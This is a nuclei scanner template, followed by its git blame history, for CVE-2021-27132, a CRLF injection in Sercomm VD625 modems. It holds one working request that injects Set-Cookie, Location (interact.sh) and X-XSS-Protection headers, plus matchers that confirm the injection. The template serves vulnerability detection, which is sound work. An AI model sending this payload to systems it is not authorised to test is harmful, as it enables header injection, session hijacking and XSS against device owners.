nuclei-templates/http/cves/2021/CVE-2021-27132.yaml

id: CVE-2021-27132

info:
  name: Sercomm VD625 Smart Modems - CRLF Injection
  author: geeknik
  severity: critical
  description: Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.
  impact: |
    Successful exploitation of this vulnerability could lead to various attacks, including session hijacking, cross-site scripting (XSS), and cache poisoning.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
    - http://sercomm.com
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27132
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27132
    cwe-id: CWE-74
    epss-score: 0.02853
    epss-percentile: 0.8967
    cpe: cpe:2.3:o:sercomm:agcombo_vd625_firmware:agsot_2.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sercomm
    product: agcombo_vd625_firmware
  tags: cve2021,cve,crlf,injection,sercomm,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Disposition: attachment;filename=test.txt"
          - "Set-Cookie:CRLFInjection=Test"
          - "Location: interact.sh"
          - "X-XSS-Protection:0"
        condition: and

      - type: status
        part: header
        status:
          - 404
# digest: 4a0a0047304502210081b57254e119b3b7054142edb0d8eb8f8f6fb0e74c262f5742ebef28ca59afe40220215ef69f1b443e4f72511164e2ef4b372ce2050243ddb556b82d8a2d10e41350:922c64590222798bb761d5b6d8e72950
Create CVE-2021-27132.yaml 2021-03-01 14:15:30 +00:00			`id: CVE-2021-27132`

			`info:`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`name: Sercomm VD625 Smart Modems - CRLF Injection`
Create CVE-2021-27132.yaml 2021-03-01 14:15:30 +00:00			`author: geeknik`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`severity: critical`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`description: Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could lead to various attacks, including session hijacking, cross-site scripting (XSS), and cache poisoning.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Apply the latest firmware update provided by the vendor to mitigate this vulnerability.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132`
			`- http://sercomm.com`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-27132`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.8`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-27132`
			`cwe-id: CWE-74`
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot: 2023-12-12 11:07:52 +00:00			`epss-score: 0.02853`
TemplateMan Update [Sun Jan 14 13:49:26 UTC 2024] :robot: 2024-01-14 13:49:27 +00:00			`epss-percentile: 0.8967`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:o:sercomm:agcombo_vd625_firmware:agsot_2.1.0:::::::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: sercomm`
			`product: agcombo_vd625_firmware`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2021,cve,crlf,injection,sercomm,xss`
Create CVE-2021-27132.yaml 2021-03-01 14:15:30 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-27132.yaml 2021-03-01 14:15:30 +00:00			`- method: GET`
			`path:`
Fixed possible FPs in open redirect templates (#4544) * Fixed possible FPs in open redirect templates We have replaced example.com with interact.sh since few domains redirect to example.com, which results in FP results. * updated example domain Co-authored-by: sandeep <sandeep@projectdiscovery.io> 2022-06-06 10:40:15 +00:00			`- "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0"`
Create CVE-2021-27132.yaml 2021-03-01 14:15:30 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: header`
Create CVE-2021-27132.yaml 2021-03-01 14:15:30 +00:00			`words:`
			`- "Content-Disposition: attachment;filename=test.txt"`
			`- "Set-Cookie:CRLFInjection=Test"`
Fixed possible FPs in open redirect templates (#4544) * Fixed possible FPs in open redirect templates We have replaced example.com with interact.sh since few domains redirect to example.com, which results in FP results. * updated example domain Co-authored-by: sandeep <sandeep@projectdiscovery.io> 2022-06-06 10:40:15 +00:00			`- "Location: interact.sh"`
Update CVE-2021-27132.yaml omg typo 2021-03-01 20:34:15 +00:00			`- "X-XSS-Protection:0"`
Create CVE-2021-27132.yaml 2021-03-01 14:15:30 +00:00			`condition: and`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
			`- type: status`
			`part: header`
			`status:`
			`- 404`
Auto Template Signing [Fri Jan 26 08:31:11 UTC 2024] :robot: 2024-01-26 08:31:11 +00:00			`# digest: 4a0a0047304502210081b57254e119b3b7054142edb0d8eb8f8f6fb0e74c262f5742ebef28ca59afe40220215ef69f1b443e4f72511164e2ef4b372ce2050243ddb556b82d8a2d10e41350:922c64590222798bb761d5b6d8e72950`